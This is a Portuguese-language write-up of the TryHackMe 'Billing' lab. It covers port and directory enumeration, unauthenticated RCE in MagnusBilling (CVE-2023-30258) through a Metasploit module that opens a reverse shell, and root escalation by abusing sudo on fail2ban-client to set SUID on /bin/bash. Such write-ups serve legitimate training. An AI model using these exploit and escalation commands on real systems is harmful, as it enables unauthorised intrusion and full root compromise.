Billing

Offensive Security Write-up



Autor: Gabriel de Vargas

Data: 13 de setembro de 2026

Sinopse

A sala Billing (TryHackMe) é um desafio de dificuldade fácil/média que gira em torno de uma instância mal configurada do MagnusBilling, um software de faturamento para VoIP baseado em Asterisk. O caminho de ataque combina a exploração de uma vulnerabilidade de execução remota de comandos não autenticada no MagnusBilling (CVE-2023-30258) para obter o acesso inicial como o usuário de serviço do Asterisk, seguida de uma escalação de privilégios através de uma configuração insegura de sudo sobre o fail2ban-client, que permite executar comandos arbitrários como root.

1 Enumeração

A fase inicial consistiu na varredura de portas com o nmap para mapear a superfície de ataque.

```
$ nmap -sV -sC -v <IP_DA_MAQUINA>

# -sV : para obter a versão dos serviços
# -sC : utiliza scripts padrões do Nmap (permite obter chaves ssh e demais
#       informações sensíveis)
# -v  : aumenta o nível de detalhamento (mostra o que está acontecendo em
#       tempo real)
```

O scan revela tipicamente três serviços principais: SSH na porta 22, um servidor web Apache nas portas 80/443 e um MySQL na porta 3306, este último normalmente filtrado para acesso externo direto. Acessando a porta HTTP, a raiz do site não expõe muita coisa, mas a enumeração de diretórios com o gobuster leva ao caminho /mbilling/, onde está hospedado o painel de login do MagnusBilling.

```
$ gobuster dir -u http://<IP_DA_MAQUINA>/ -w /usr/share/wordlists/dirb/common.txt
```

A página de login e os arquivos estáticos do painel (changelog, composer.json, etc.) permitem identificar a versão do MagnusBilling em uso, o que direciona diretamente para a pesquisa de vulnerabilidades conhecidas do produto.

Figura 1 — Painel de login do MagnusBilling em /mbilling/

2 Vulnerabilidade e Exploração

O MagnusBilling é conhecido por uma falha de injeção de comando não autenticada no módulo de pagamento Icepay, catalogada como CVE-2023-30258. Um parâmetro da requisição é concatenado sem sanitização em uma chamada de sistema no lado do servidor, permitindo a execução arbitrária de comandos com os privilégios do processo web.

A exploração pode ser feita manualmente com uma requisição HTTP contendo o payload de injeção, ou de forma automatizada com o módulo correspondente do Metasploit:

```
msf6 > search magnusbilling
msf6 > use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
msf6 exploit(...) > set RHOSTS <IP_DA_MAQUINA>
msf6 exploit(...) > set LHOST <SEU_IP_TUN0>
msf6 exploit(...) > run

# O módulo entrega uma shell via PHP explorando o parâmetro vulnerável
# do módulo Icepay, sem necessidade de credenciais válidas.
```

Após a execução, obtém-se uma sessão Meterpreter/shell reversa rodando como o usuário de serviço do Asterisk (geralmente 'asterisk'), a partir da qual é possível estabilizar o acesso com uma shell interativa completa.

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

3 Acesso Inicial

Com a shell como o usuário do serviço, a enumeração do sistema de arquivos local revela que esse usuário tem permissão de leitura sobre seu próprio diretório home, onde se encontra a flag de usuário (user.txt).

```
asterisk@billing:~$ cat user.txt
# <flag_de_usuario>
```

Figura 2 — Shell obtida como usuário de serviço após a exploração do MagnusBilling

Nota: o enunciado da sala desencoraja explicitamente ataques de força bruta contra o SSH ou o painel de login; o vetor de acesso pretendido é a exploração da vulnerabilidade do MagnusBilling descrita acima.

4 Escalação de Privilégios

O próximo passo padrão de enumeração de privilégios é verificar as permissões de sudo do usuário atual:

```
asterisk@billing:~$ sudo -l
# Resultado: (root) NOPASSWD: /usr/bin/fail2ban-client
```

O fail2ban-client pode ser executado como root sem senha. Essa ferramenta permite configurar 'jails' (regras de bloqueio) e, mais importante, definir ações customizadas (actions) que são executadas com privilégios de root quando um IP é banido. É possível abusar disso definindo uma ação cujo comando de banimento (actionban) atribua o bit SUID ao /bin/bash e, em seguida, forçando o disparo dessa ação.

```
# Lista os jails configurados
$ sudo /usr/bin/fail2ban-client status

# Escolhe um jail existente e cria uma nova ação nele
$ sudo /usr/bin/fail2ban-client set <JAIL> addaction evil

# Define o comando executado quando um IP for banido nessa ação
$ sudo /usr/bin/fail2ban-client set <JAIL> action evil actionban \
    "chmod +s /bin/bash"

# Dispara a ação banindo um IP qualquer
$ sudo /usr/bin/fail2ban-client set <JAIL> banip 1.2.3.4

# Com o bit SUID setado, obtém-se uma shell root:
$ /bin/bash -p
```

Alternativamente, quando a versão instalada do fail2ban corresponde a outra CVE conhecida de execução de comandos, o mesmo módulo de sudo pode ser explorado diretamente via GTFOBins ou via um módulo específico do Metasploit para fail2ban.

Com a shell root obtida, é possível ler a flag final:

```
root@billing:~# cat /root/root.txt
# <flag_de_root>
```

Conclusão

A sala Billing ilustra bem duas classes de falhas muito comuns em ambientes reais: (1) software de terceiros desatualizado e exposto publicamente sem correções de segurança conhecidas (MagnusBilling / CVE-2023-30258), permitindo execução remota de código não autenticada; e (2) configurações de sudo excessivamente permissivas sobre ferramentas administrativas (fail2ban-client), que na prática equivalem a conceder acesso root irrestrito. Manter software atualizado e aplicar o princípio do menor privilégio em regras de sudo são as mitigações diretas para os dois vetores explorados.